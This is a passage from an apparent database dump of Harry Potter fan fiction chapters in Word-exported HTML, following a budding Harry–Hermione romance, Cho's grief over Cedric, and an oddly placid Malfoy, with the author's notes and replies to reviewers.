gotten\nshorter lately?&#8221; he thought to himself.&nbsp; He took his seat next to Seamus and dropped into the small,\nwooden chair.</p>\n\n<p>Double charms with the Ravenclaws\nwas a bit enjoyable for Harry.&nbsp; At least it wasn&#8217;t with the\nSlytherins, Harry thought.&nbsp; He scanned the room\nand saw many students he&#8217;d come to know over the years at Hogwarts.&nbsp; He\nstopped, however, when he saw Cho in a daze staring at him.</p>\n\n<p>He waved his hand to her to get\nher attention and bring her back to reality, and she jumped when she realized\nhe&#8217;d met her gaze.&nbsp; She slowly looked away with an almost shameful expression\non her face.&nbsp; Harry knew she still subconsciously\nblamed his for Cedric&#8217;s death, even though he&#8217;d explained to her what had\nhappened.&nbsp; He couldn&#8217;t blame her for her feelings, though; he now knew what it\nwas like to be wholly in love with someone.&nbsp; He just hoped it would never be\ntaken away as her love had.&nbsp; Suddenly, he was broken from his thoughts by Seamus.</p>\n\n<p>&#8220;You&#8217;ve got lipstick on your\nface, Harry,&#8221; Seamus said.</p>\n\n<p>&#8220;What?&#8221; Harry said.&nbsp; &#8220;Hermione doesn&#8217;t wear\nlipstick.&#8221;&nbsp; Seamus laughed uncontrollably as Harry mentally smacked himself for his\nslip.&nbsp; Harry glared at Ron, who Harry realized had told Seamus.&nbsp; Ron was chuckling at Harry as Seamus made his comment, but he looked\naway quickly as Harry turned to him.</p>\n\n<p>Harry was about to hex him into their\nseventh year, but Professor Flitwick began class just as Harry was pointing his wand at Ron.&nbsp; Harry looked up at Hermione across the\nroom; she seemed as though she&#8217;d heard the whole proceeding, for she had the\nsame unapproving expression Harry\nwore.&nbsp; They caught each other&#8217;s eyes and started smiling as Professor Flitwick began lecturing.</p>\n\n<p>The lesson was a charm that would\nreflect spells back at your opponent.&nbsp; It was rather difficult to execute, but\nit was a powerful spell.&nbsp; Professor\n Flitwick warned that many spells, like\nthe Avada Kedavra, couldn&#8217;t be blocked or reflected in any way, but the\nreflecting spell worked on most charms, curses, and hexes.</p>\n\n<p>The students spent the remainder\nof the class period casting charms on each other and reflecting them back.&nbsp; Seamus thought he could slip a Furnunculus\npast Flitwick, but Harry deftly sent the spell right back\nat him.&nbsp; Professor Flitwick was not amused at Seamus&#8217; spell and gave him detention after sending him to see Madame Pomfrey.</p>\n\n<p>Harry briefly looked up, feeling bad\nfor having reflected such a spell back at Seamus, and saw Hermione smiling at him.</p>\n\n<p>&#8220;Well done,&#8221; she mouthed to him.&nbsp;\nHarry smiled and blushed.</p>\n\n<p>&#8220;Harry, please join Ron and Hermione.&nbsp; You three can work together since Seamus&#8230;left,&#8221; Professor Flitwick said.&nbsp; Harry\nwalked over to where Hermione and Ron were sitting.&nbsp; He flashed a warm smile at Hermione, and Ron tried unsuccessfully to stifle\nhis laughter.&nbsp; Hermione gently slapped him on the arm as she rolled her eyes.&nbsp;\nShe returned Harry&#8217;s smile before casting a small\nhex on Ron, who was unprepared.</p>\n\n<p>Slugs began pouring from his\nmouth once again, much to his unhappiness.&nbsp; Harry and Hermione laughed at Ron as Professor Flitwick dismissed class.&nbsp; Harry took Hermione&#8217;s hand as they walked to the Great Hall for lunch.&nbsp;\nThe look on Hermione&#8217;s face made Harry think twice before having a repeat of that morning.</p>\n\n<p>&#8220;You were right,&#8221; she suddenly\nsaid out of nowhere.</p>\n\n<p>&#8220;About what?&#8221; Harry asked.</p>\n\n<p>She stopped and looked into his\neyes.&nbsp; &#8220;I don&#8217;t think I can go another minute without kissing you.&#8221;&nbsp; Harry smiled as he took her into his\narms and kissed her lightly.&nbsp; Hermione smiled into his lips as they broke apart\nand walked to lunch.</p>\n\n<p>~~~~~~~~~~~~~~~~~~~~</p>\n\n<p>Please review!&nbsp; I&#8217;ll have chapter\n4 up more quickly, I promise :)&nbsp; And as I said before, this story&#8217;s a spin-off\nof Heaven&#8217;s story &#8220;Just Kiss Me&#8221;, so go hit Heaven with a few reviews since she&#8217;s\nso nice to me for letting me write this!&nbsp; Some of the things will prolly make a\nbit more sense, too, lol.&nbsp; Thanks, m&#8217; dears!&nbsp; *kissy*&nbsp; (Ooh, that was wrong&#8230;guys\ndon&#8217;t do that&#8230;)</p>\n\n\n\n\n\n\n'),
	(208, 4, '\n\n\n\n<p class="MsoNormal">A/N:&nbsp; See I <i>do</i> have the capacity to write quickly!&nbsp; Lol.&nbsp;\nI dunno how fluffy this chapter&#8217;s gonna be, but it&#8217;s definitely longer than\nchapter 3.&nbsp; Once more, thanks to all my faithful reviewers!</p>\n\n<p class="MsoNormal">Erin:&nbsp; Okay, that&#8217;s disturbing&#8230;</p>\n\n<p class="MsoNormal">Nicole:&nbsp; Yes, Heaven and Ryoko are goddesses to me.&nbsp; ::\nFalls to knees ::&nbsp; I&#8217;m so happy you think this does justice to Just Kiss Me!&nbsp;\nYAY</p>\n\n<p class="MsoNormal">Clair:&nbsp; To short?&nbsp; The next few chapters are gonna be\nlonger, then.&nbsp; That was a bit of a short one, wasn&#8217;t it?</p>\n\n<p class="MsoNormal">Hermione and Harry 4Ever:&nbsp; 15 going on 16?&nbsp; Really now&#8230;&nbsp; Me\ntoo!&nbsp; Well, Heaven and Ryoko will, if I beg and plead and suck up enough,\nprobably help me with some of the later chapters just to kick up the rating a\nbit, if you know what I mean ;)&nbsp; Nothing past R, though, promise!</p>\n\n<p class="MsoNormal">LordAnHur:&nbsp; Yes, Ron and his slugs.&nbsp; Whoo-hoo!&nbsp; I think&#8230;oh,\nwhat&#8217;s his name?&nbsp; Rupert Grint!&nbsp; I think he had a bit too much fun with the\nslugs&#8230;</p>\n\n<p class="MsoNormal">Anyway, this chapter focuses around what happens with Cho in\ntheir 5th year.&nbsp; I know some of you are wondering where Voldemort\nis.&nbsp; THIS WILL NOT BE <i>THAT</i>FLUFFY!&nbsp; I HAVE <i>NOT</i> GOTTEN RID OF\nVOLDEMORT!&nbsp; Promise ;)&nbsp; You&#8217;ll see&#8230;Not yet, though.&nbsp; Enjoy!</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph">&#8220;Oh, I&#8217;m so sorry!&#8221; Cho said\nquickly as she turned the corner right into Harry.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph">&#8220;Oh!&#8221; Harry cried, just as surprised as she\nwas; why a Ravenclaw would be walking the corridors between the library and the\nGryffindor tower was beyond Harry.&nbsp; Neither\nof them was carrying anything so it was a relatively clean collision, and Harry knew that his forehead would be\nbruised from where his hit Cho&#8217;s.&nbsp; &#8220;Are you alright?&#8221; he asked.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph">&#8220;Don&#8217;t worry about it.&nbsp; I should\nbe fine.&nbsp; I think I hit you pretty good, though&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph">&#8220;It&#8217;s okay, really.&#8221;</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph">&#8220;Yeah,&#8221; Cho said sheepishly, &#8220;I\nguess nothing this small hurts after&#8212;I&#8217;m sorry.&#8221;</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph">&#8220;What?&#8221; Harry asked, confused by her\nhalf-comment.&nbsp; &#8220;Oh&#8230;Cho, please, I told you what happened.&#8221;</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph">&#8220;I&#8217;m sorry, Harry.&nbsp; I just need someone to blame,\nand my mind just kind of associates you with that whole mess whether I want it\nto or not.&nbsp; Believe me, I&#8217;ve put Cedric behind me as much as I can, but&#8230;&#8221;&nbsp; She\nstopped and took a deep breath; Harry saw that talking about Cedric could still bring her to the verge of\ntears.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph">&#8220;I know how it feels to lose\nsomeone you love,&#8221; Harry said weakly.&nbsp; &#8220;I&#8217;ve lived my\nlife knowing that Voldemort killed my parents, but I&#8217;ve never lost someone I&#8217;ve\nloved like Hermione.&nbsp; Still, I know how much it hurts.&#8221;&nbsp; Cho flinched twice as\nhe spoke&#8212;once when he mentioned Voldemort&#8217;s name, and again when he said\nHermione&#8217;s name.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph">Harry wondered if Cho was afraid of\nHermione, as well.&nbsp; But why?&nbsp; The only people who should have really feared\nHermione were those like Malfoy who drove her to the edge and back in only a\nfew words.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph">Cho seemed a bit lost for words.&nbsp;\nTo her relief, she heard Su Li calling her from down the hall.&nbsp; With a hurried and\ngrateful goodbye, she turned and ran off to meet her friend.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph">&#8220;That was weird,&#8221; Harry said to himself.&nbsp; Shrugging it\noff, he walked over to where Ron and\nHermione were approaching.&nbsp; Harry had\nwaited for Hermione in the common room after dinner, but she didn&#8217;t come, so Harry set to searching for her in the\nlibrary.&nbsp; Not finding her there, either, he was going to go back to the common\nroom to wait, when he bumped into Cho.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph">&#8220;There you are!&#8221; Harry called to Hermione.&nbsp; &#8220;I&#8217;ve been\nlooking for you all over!&#8221;</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph">&#8220;Sorry,&#8221; she laughed.&nbsp; &#8220;I&#8217;ve been\nlooking for you, too.&nbsp; Did you forget?&#8221;</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph">&#8220;Forget what?&#8221;&nbsp; Harry had no idea what Hermione was\ntalking about.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph">&#8220;Honestly, Harry,&#8221; she sighed, putting her hands\non her hips.&nbsp; &#8220;You said you&#8217;d meet me by the library?&#8221;&nbsp; She reached into her\nrobes and pulled out a scrap of parchment.&nbsp; Harry took it and glanced at it quickly.&nbsp; It looked like his handwriting,\nbut he didn&#8217;t remember writing it.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph">&#8220;<i>Meet me by the library after\ndinner.&nbsp; I want to talk to you,</i>&#8221; it read.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph">&#8220;I never wrote this,&#8221; Harry said, perplexed.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph">&#8220;Then it seems someone&#8217;s been\ntrying to lure us apart.&nbsp; Kind of scared me when I read it&#8230;the wording was a\nbit&#8230;Oh, never mind,&#8221; Hermione said tiredly.&nbsp; &#8220;Sounds like something Malfoy\nwould do, doesn&#8217;t it?&#8221;</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph">&#8220;Yeah, though I doubt he&#8217;d have\nthe brains to copy your handwriting like this,&#8221; Ron said.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph">&#8220;Gee, thanks, Weasel.&#8221;&nbsp; Ron spun around to face the unsmiling\nDraco Malfoy, his silver hair slicked back and reflecting a shade of\ngold in the dim light.&nbsp; &#8220;I appreciate the compliment.&#8221;</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph">Without another word, he stormed\noff, much to the disapproval of Crabbe and Goyle, who both wanted to inflict more than a sarcastic comment\nor two toward Harry, Ron, and Hermione.&nbsp; Left without much choice, however, they\nshrugged and followed Draco.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph">&#8220;Did anyone but me think that was\na bit&#8230;odd?&#8221; Ron said after Draco, Crabbe, and Goyle were satisfactorily out of earshot.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph">&#8220;So I didn&#8217;t fall asleep through\nan insult-fest?&nbsp; How come Malfoy didn&#8217;t offer to punch your face in, Harry?&#8221;&nbsp; Harry looked as lost as Hermione and Ron, but he shrugged it off.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph">&#8220;Maybe he&#8217;s learning to be a good\nhuman,&#8221; Harry said good-naturedly.&nbsp; &#8220;There\nmust be <i>some</i> part of him that can&#8217;t be all that bad.&#8221;</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph">Hermione looked at Harry as though he&#8217;d spoken treason\nagainst the library.&nbsp; &#8220;Are we talking about the same Malfoy here?&nbsp; I&#8217;m\nreferring to the one who calls me Mudblood, the one who calls Ron the Weasel, and the sick-mouthed\nprick who insists on calling you any other derogatory names he can think of at\nthe moment.&nbsp; Which Malfoy in some faraway corner of the world are you talking\nabout?&#8221;</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph">&#8220;Honestly, Hermione,&#8221; Harry said, beginning to sound a lot\nlike Hermione, &#8220;He&#8217;s still human.&nbsp; Your parents are dentists, aren&#8217;t they?&nbsp;\nThey must&#8217;ve gone through extensive medical training, and if I know you&#8212;and I\ndo&#8212;you know about as much as they do.&nbsp; So you should know,&#8221; he said, casting a\nsomewhat reprimanding glare at Hermione, &#8220;that simply being a Malfoy through\nhis genes has nothing to do with it, even though his&#8230;environment may contribute\nto his behavior.&nbsp; Either way, it&#8217;s a scientific impossibility that he&#8217;s mean to\nthe core.&#8221;</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph">&#8220;Blimey, Harry,&#8221; Ron said, giving Harry a warm, impressed stare, &#8220;I don&#8217;t think you can put that into more\nHermione-esque terms.&nbsp; I hardly followed you there!&#8221;&nbsp; Hermione slapped him\ngently on the arm, and rolled her eyes.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph">&#8220;If that&#8217;s how you feel about\nMalfoy, that maybe he&#8217;s finally learning how to be a proper human and not&#8230;an\nanimal even Slytherin wouldn&#8217;t want, then I suppose there&#8217;s no convincing you\notherwise,&#8221; Hermione sighed.&nbsp; Harry\nsmiled and discreetly took her hand in his as the three of them walked back to\nthe Gryffindor common room.&nbsp; As they were walking, he vaguely heard her mutter\nsomething about Malfoy being a four-letter-word that Harry was shocked he&#8217;d ever hear\nHermione say.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph">&#8220;Whatever,&#8221; Harry sighed.&nbsp; Hermione leaned her\nhead on Harry&#8217;s shoulder as they continued\nwalking.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph">&#8220;Won&#8217;t you kiss me?&#8221; she asked\nquietly in Harry&#8217;s ear.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph">&#8220;Will you acknowledge that I&#8217;m\nright and you&#8217;re wrong for once?&#8221; Harry asked slyly.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph">&#8220;Never,&#8221; Hermione replied with\nthe same tone of mock arrogance in her voice.&nbsp; In reply, Harry looked ahead once more, ignoring\nHermione.&nbsp; Hermione put on her best puppy-dog face, and Harry began to find it increasingly\ndifficult to walk with Hermione hanging on his arm and looking at him that\nway.&nbsp; The last thing he needed was for Ron to turn around or for someone to walk up and see them.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph">Someone like Cho, who seemed to\nbe redoubling her steps from earlier that afternoon.&nbsp; Harry sighed to himself, and Hermione\nquickly straightened herself as best she could before Cho would see her.&nbsp;\nNonetheless, Cho saw Harry and Hermione as she raised her\nhead.&nbsp; She turned away quickly with a small, forced smile and ran down the\ncorridor.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph">Suddenly, it dawned on Harry.&nbsp; &#8220;It&#8217;s you,&#8221; he said to\nHermione.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph">&#8220;Huh?&#8221; she asked.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph">&#8220;It&#8217;s you.&nbsp; Cho&#8217;s been acting so\nweird around me because of you,&#8221; Harry said.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph">&#8220;You mean she actually does like\nyou?&nbsp; Why does my life have to be such a damned soap opera?&#8221; she sighed.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph">&#8220;No, no,&#8221; Harry assured her.&nbsp; &#8220;It&#8217;s just seeing\nme, the one who&#8217;s associated with Cedric&#8217;s death, with a girlfriend&#8221;&#8212;Harry noticed an unrestrained smile on\nHermione&#8217;s face as he said that&#8212;&#8220;when Cedric, the one <i>she</i> was in love\nwith, was killed.&#8221;</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph">&#8220;Oh,&#8221; Hermione said slowly.&nbsp; &#8220;I\nguess I&#8217;d feel bad in her situation, too.&#8221;</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph">&#8220;Yeah.&nbsp; But she&#8217;s been really\nnice to me lately.&nbsp; I don&#8217;t know if she&#8217;s just forcing it so it seems like there&#8217;s\nno hard feelings, but we&#8217;ve been on really good terms lately.&nbsp; I mean, I guess\nyou could even say we&#8217;re friends, rather than just acquaintances.&#8221;</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph">&#8220;Don&#8217;t you go getting any farther\nthan that, though,&#8221; Hermione said.&nbsp; She noticed Ron turning around to glance at them and felt bad that\nthey&#8217;d been leaving him out of their conversation.&nbsp; &#8220;I&#8217;m sorry, Ron!&nbsp; We just kind of&#8230;got lost in\nour own little world.&#8221;</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph">&#8220;That&#8217;s all I need to know,&#8221; Ron said quickly.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph">&#8220;That is <i>not</i> what I meant,\nmind you!&nbsp; I&#8217;m sorry, we won&#8217;t do that anymore.&nbsp; Can I make it up to you?&nbsp; How\nabout some pumpkin pie?&nbsp; I&#8217;m sure Dobby would be happy to oblige.&#8221;</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph">&#8220;Oh, yeah,&#8221; Ron said with a laugh, &#8220;and make\nthis a love triangle?&nbsp; I know what happens when you two get around pumpkin pie,\nand I&#8217;m choosing not to be a part of that.&#8221;&nbsp; They all laughed as they\napproached the Fat Lady&#8217;s portrait.</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">Please review, everyone!&nbsp; Thanks so much.&nbsp; This didn&#8217;t turn\nout THAT much longer than chapter 3, but I promise (that&#8217;s three promises in\none chapter&#8230;can I keep them all?) that things start to get interesting.&nbsp; There&#8217;s\nactually a plot developing!&nbsp; :: Clapping ::&nbsp; Yes, no mindless shagging for\nthese two for a while. :)</p>\n\n\n\n\n\n\n'),
	(208, 5, '\n\n\n\n<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">\n\n<meta name="ProgId" content="Word.Document">\n\n<meta name="Generator" content="Microsoft Word 10">\n\n<meta name="Originator" content="Microsoft Word 10">\n\n<link rel="File-List" href="Chapter%205_files/filelist.xml">\n\n<title>Chapter 1 ~ Whispering Voices</title>\n\n<xml> BestFit Clean Clean MicrosoftInternetExplorer4 </xml><object classid="clsid:38481807-CA0E-42D2-BF39-B33AF135CC4D" id="ieooui"></object>\n\n<style> st2\\:*{behavior:url(#ieooui) }st1\\:*{behavior:url(#ieooui) } </style>\n\n<style>\n\n</style>\n\n<style> /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-parent:""; mso-padding-alt:0in 5.4pt 0in 5.4pt; mso-para-margin:0in; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:10.0pt; font-family:"Times New Roman";} </style>\n\n\n\n<p>A/N:&nbsp; I am SOOOO sorry it&#8217;s taken me so long.&nbsp; This story is NOT DEAD YET!&nbsp; Lol.&nbsp; I&#8217;m in the middle of the biggest school project of the year right now, but fortunately, it doesn&#8217;t require much homework&#8230;er, <i>as </i>much homework is more accurate.&nbsp; Anyway, I&#8217;ll be posting more often.</p>\n\n<p>&nbsp;</p>\n\n<p><st1:givenname>Nicole</st1:givenname>:&nbsp; Yay, thanks!&nbsp; I just think a story without a plot is just wrong by the laws of the English language&#8230;unless it&#8217;s a shaglet, then I don&#8217;t care, LOL.&nbsp; (Yeah, Heaven coined that word&#8230;don&#8217;t ask)</p>\n\n<p>&nbsp;</p>\n\n<p>Old <st1:givenname>Wolf</st1:givenname>:&nbsp; Yes, I know that was very un-Hermione-ish, to say the very least, but when you&#8217;re in love, you tend to do some strange things.&nbsp; Hermione was just sticking up for <st1:givenname>Harry</st1:givenname>.&nbsp; And no, nothing unknown has happened between them&#8230;yet ;)&nbsp; (You&#8217;ll see)</p>\n\n<p>&nbsp;</p>\n\n<p><st1:sn>Clair</st1:sn>:&nbsp; CONFUSED!!!!!!&nbsp; Too short?&nbsp; Wait until the later chapters&#8230;some of those are gonna be so long you&#8217;ll really have to like the story to keep reading, lol.&nbsp; I have no idea how you managed to review twice, but&#8230;oh well!</p>\n\n<p>&nbsp;</p>\n\n<p>YurimionePotter:&nbsp; Well, Voldemort doesn&#8217;t come in (directly) until a lot later.&nbsp; Just hold on ;)</p>\n\n<p>&nbsp;</p>\n\n<p>BabyHalo19, BamaSlamma29, Taself:&nbsp; Keep on reading!&nbsp; Thanks for reviewing!</p>\n\n<p>&nbsp;</p>\n\n<p>And without further ado, here&#8217;s chapter 5!</p>\n\n<p><b>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</b></p>\n\n<p><b>&nbsp;</b></p>\n\n<p><b>Chapter 5 ~ In the Twilight of My Mind</b></p>\n\n<p>&nbsp;</p>\n\n<p>Hermione didn&#8217;t sleep well at all that night.&nbsp; She had a dream that she&#8217;d confronted <st1:sn>Draco</st1:sn> alone in a corridor, and he turned into a giant snake and began making attempts on her life.&nbsp; She must have been making noises in her sleep, because just when she thought she was going to have her head bitten off, she saw Ginny&#8217;s worried face hovering over hers.</p>\n\n<p>&#8220;Are you okay, Hermione?&#8221; Ginny asked, sincerely worried for Hermione.</p>\n\n<p>&#8220;Yeah,&#8221; she gasped, trying to calm herself down.&nbsp; &#8220;I&#8217;ll be fine.&nbsp; Thanks, Ginny.&#8221;&nbsp; She threw off the covers for a while; her body was covered in cold sweat from her dream.&nbsp; Her hands felt cold, and she wished more than anything that she could have had <st1:givenname>Harry</st1:givenname> with her then.</p>\n\n<p>Somehow, she managed to fall asleep again.&nbsp; Hermione didn&#8217;t know why she&#8217;d had a dream about Malfoy; maybe it was his unusually placid demeanor that evening that unnerved her, but she felt that something definitely was a bit weird.&nbsp; He didn&#8217;t even call her &#8220;Mudblood.&#8221;</p>\n\n<p>Soon enough, though, the first rays of golden sunlight made their way through the windows of the dormitory, bringing Hermione from her unusually light sleep.&nbsp; As she dressed, she resolved that she had no reason to tell <st1:givenname>Harry</st1:givenname> about the dream.&nbsp; &#8220;No reason to spoil his image of me, right?&nbsp; Nobody wants a ninny for a girlfriend,&#8221; she thought to herself.&nbsp; She took a bit longer than usual getting ready in order to hide the signs of her restless sleep.</p>\n\n<p>Hermione forced a smile onto her face as she walked down to the common room, but the need to feign happiness faded when she saw <st1:givenname>Harry</st1:givenname> waiting for her.&nbsp; Apparently, all the other boys had gone already.</p>\n\n<p>&#8220;You didn&#8217;t have to wait,&#8221; she said.</p>\n\n<p>&#8220;So?&#8221; <st1:givenname>Harry</st1:givenname> asked, his loving smile seeing straight through to Hermione&#8217;s heart.&nbsp; &#8220;Are you hungry?&nbsp; Everyone else already left.&#8221;</p>\n\n<p>&#8220;I&#8217;m starved.&nbsp; Even <st1:givenname>Ron</st1:givenname> didn&#8217;t wait for us?&#8221; Hermione asked.</p>\n\n<p>&#8220;You know <st1:givenname>Ron</st1:givenname>,&#8221; <st1:givenname>Harry</st1:givenname> laughed.&nbsp; &#8220;He&#8217;s the human vacuum cleaner.&nbsp; Eating is the only thing that keeps him from going insane.&nbsp; Well, that, and he didn&#8217;t want to be around if we started&#8230;you know&#8230;&#8221;</p>\n\n<p>Hermione rolled her eyes, unable to believe <st1:givenname>Harry</st1:givenname> could possible have such a one-track mind.&nbsp; &#8220;If we go now, they won&#8217;t start saying things.&nbsp; We&#8217;d better catch up before gossip does.&#8221;&nbsp; <st1:givenname>Harry</st1:givenname> grinned and nodded.&nbsp; He offered his hand, and she took it happily.&nbsp; They walked quickly to the Great Hall just as the Weasley were; they&#8217;d timed it perfectly.</p>\n\n<p>&#8220;That was fast,&#8221; <st1:givenname>Ron</st1:givenname> said when he saw them running over.</p>\n\n<p>&#8220;Yeah,&#8221; <st1:givenname>Harry</st1:givenname> said, &#8220;we tried to walk&#8212;HEY!&#8221; he shouted as he saw the quirky grin on <st1:givenname>Ron</st1:givenname>&#8217;s face.&nbsp; He punched <st1:givenname>Ron</st1:givenname> in the arm playfully as they walked through the large, wooden doors.&nbsp; Hermione politely and discreetly dropped <st1:givenname>Harry</st1:givenname>&#8217;s hand, as she still didn&#8217;t want to attract attention.</p>\n\n<p>They all sat down to eat.&nbsp; Platters of food appeared&#8212;as usual&#8212;and <st1:givenname>Ron</st1:givenname> made a hoggish spectacle of himself&#8212;also as usual&#8212;by gorging himself to a capacity unparalleled by anyone but <st1:givenname>Fred</st1:givenname> and <st1:givenname>George</st1:givenname>.&nbsp; <st1:givenname>Harry</st1:givenname> and Hermione watched him out of the corners of their eyes, taking great amusement in <st1:givenname>Ron</st1:givenname>&#8217;s lack of delicacy.&nbsp; <st1:givenname>Ron</st1:givenname> didn&#8217;t notice their almost-stifled giggles.</p>\n\n<p>When they all finished and put down their forks, Hermione was eager as ever to get off to their first class that day.</p>\n\n<p>&#8220;What do we have now?&#8221; <st1:givenname>Ron</st1:givenname> asked, still not completely acquainted with their new schedules, even after a whole month.</p>\n\n<p>&#8220;Double potions,&#8221; Hermione said.</p>\n\n<p>&#8220;With the Slytherins,&#8221; <st1:givenname>Harry</st1:givenname> finished for her.</p>\n\n<p>&#8220;Oh, that&#8217;s right,&#8221; <st1:givenname>Ron</st1:givenname> groaned.&nbsp; Double potions with the Slytherins seemed to be an annual challenge for the Gryffindors, and <st1:givenname>Harry</st1:givenname>, <st1:givenname>Ron</st1:givenname>, and Hermione weren&#8217;t enjoying it any more than they had from the first.&nbsp; &#8220;I think I&#8217;m going to ditch this&#8212;&#8221;</p>\n\n<p>&#8220;You are not, <st2:personname><st1:givenname>Ron</st1:givenname>\n\n<st1:sn>Weasley</st1:sn></st2:personname>,&#8221; Hermione said shortly, pulling <st1:givenname>Ron</st1:givenname> by the collar off to the dungeons, not giving him a second glance.&nbsp; &#8220;We are <i>all</i> going to class, whether you like it or not.&#8221;</p>\n\n<p>&#8220;I&#8217;ll take &#8216;not&#8217;,&#8221; <st1:givenname>Ron</st1:givenname> said.&nbsp; Hermione pretended to ignore him.&nbsp; She walked him down to the dungeons, holding his collar the whole way to emphasize her point, much to <st1:givenname>Ron</st1:givenname>&#8217;s disapproval.&nbsp; <st1:givenname>Harry</st1:givenname> contented himself by taking Hermione&#8217;s other hand, and Hermione lightened up on <st1:givenname>Ron</st1:givenname> a bit, feeling more at ease with <st1:givenname>Harry</st1:givenname> at her side.</p>\n\n<p>They all made it down to the dungeons a few minutes before Snape walked out of his office.&nbsp; He always seemed to be able to make his way, completely invisibly, from the Great Hall into his office in a matter of seconds.&nbsp; Being as Hogwarts was un-Apparatable ground, Hermione told <st1:givenname>Harry</st1:givenname> and <st1:givenname>Ron</st1:givenname> that she suspected the existence of some hidden passages.</p>\n\n<p>Hidden corridors were, of course, nothing new to them.&nbsp; In such a concealed room, <st1:givenname>Harry</st1:givenname> had come across the Mirror of Erised in his first year.&nbsp; <st1:givenname>Harry</st1:givenname> wondered if he&#8217;d still see his parents at his side if he looked into the Mirror of Erised again, now that he and Hermione were lovers.</p>\n\n<p>They took their seats and let their eyes adjust to the usual dim lighting of the dungeon.&nbsp; Snape took his place by the podium and got them started making a potion that would make ink perfect for anything&#8212;it would thicken it if it was too watery, change the color to black for formal essays, or anything else appropriate.&nbsp; Hermione was smiling almost maniacally just thinking of what she&#8217;d be able to do with special ink for her essays, but Harry and Ron were wondering what on Earth a potion for rectifying ink would be used for.</p>\n\n<p>Hermione was paired with <st2:personname><st1:givenname>Blaise</st1:givenname>\n\n<st1:sn>Zabini</st1:sn></st2:personname> from Slytherin, but <st1:givenname>Ron</st1:givenname> and <st1:givenname>Harry</st1:givenname> were, fortunately, paired together.&nbsp; They began putting the ingredients carefully into their cauldron.&nbsp; After over four years of mixing potions in Snape&#8217;s class, they&#8217;d learned to be meticulous almost to the point of absurdity so as not to take any more points from Gryffindor.&nbsp; Nonetheless, Snape managed to find some flaw in the Gryffindors for even a perfect potion.</p>\n\n<p>&#8220;Powdered root of a mandrake, ten milligrams,&#8221; <st1:givenname>Harry</st1:givenname> said.&nbsp; <st1:givenname>Ron</st1:givenname> measured it out on his balance and carefully poured it into the bubbling green liquid.&nbsp; Next came a ground bezoar, infusion of wormwood, and an iris petal.&nbsp; The potion simmered down to a purple slime, and <st1:givenname>Harry</st1:givenname> and <st1:givenname>Ron</st1:givenname> decided it was ready to be tested.&nbsp; Snape eyed their potion warily; <st1:givenname>Harry</st1:givenname> and <st1:givenname>Ron</st1:givenname> knew that he always looked at their potions like that whether the potions were brewed correctly or not, so they could infer nothing.&nbsp; Snatching a vial of bright pink ink from his desk, Snape strode over to <st1:givenname>Harry</st1:givenname> and <st1:givenname>Ron</st1:givenname>&#8217;s cauldron.</p>\n\n<p>&#8220;Your potion should be able to turn this ink black.&nbsp; You are then to write a three-foot parchment on how this potion is so versatile,&#8221; he said with a growl.&nbsp; &#8220;Try it.&#8221;&nbsp; <st1:givenname>Ron</st1:givenname> 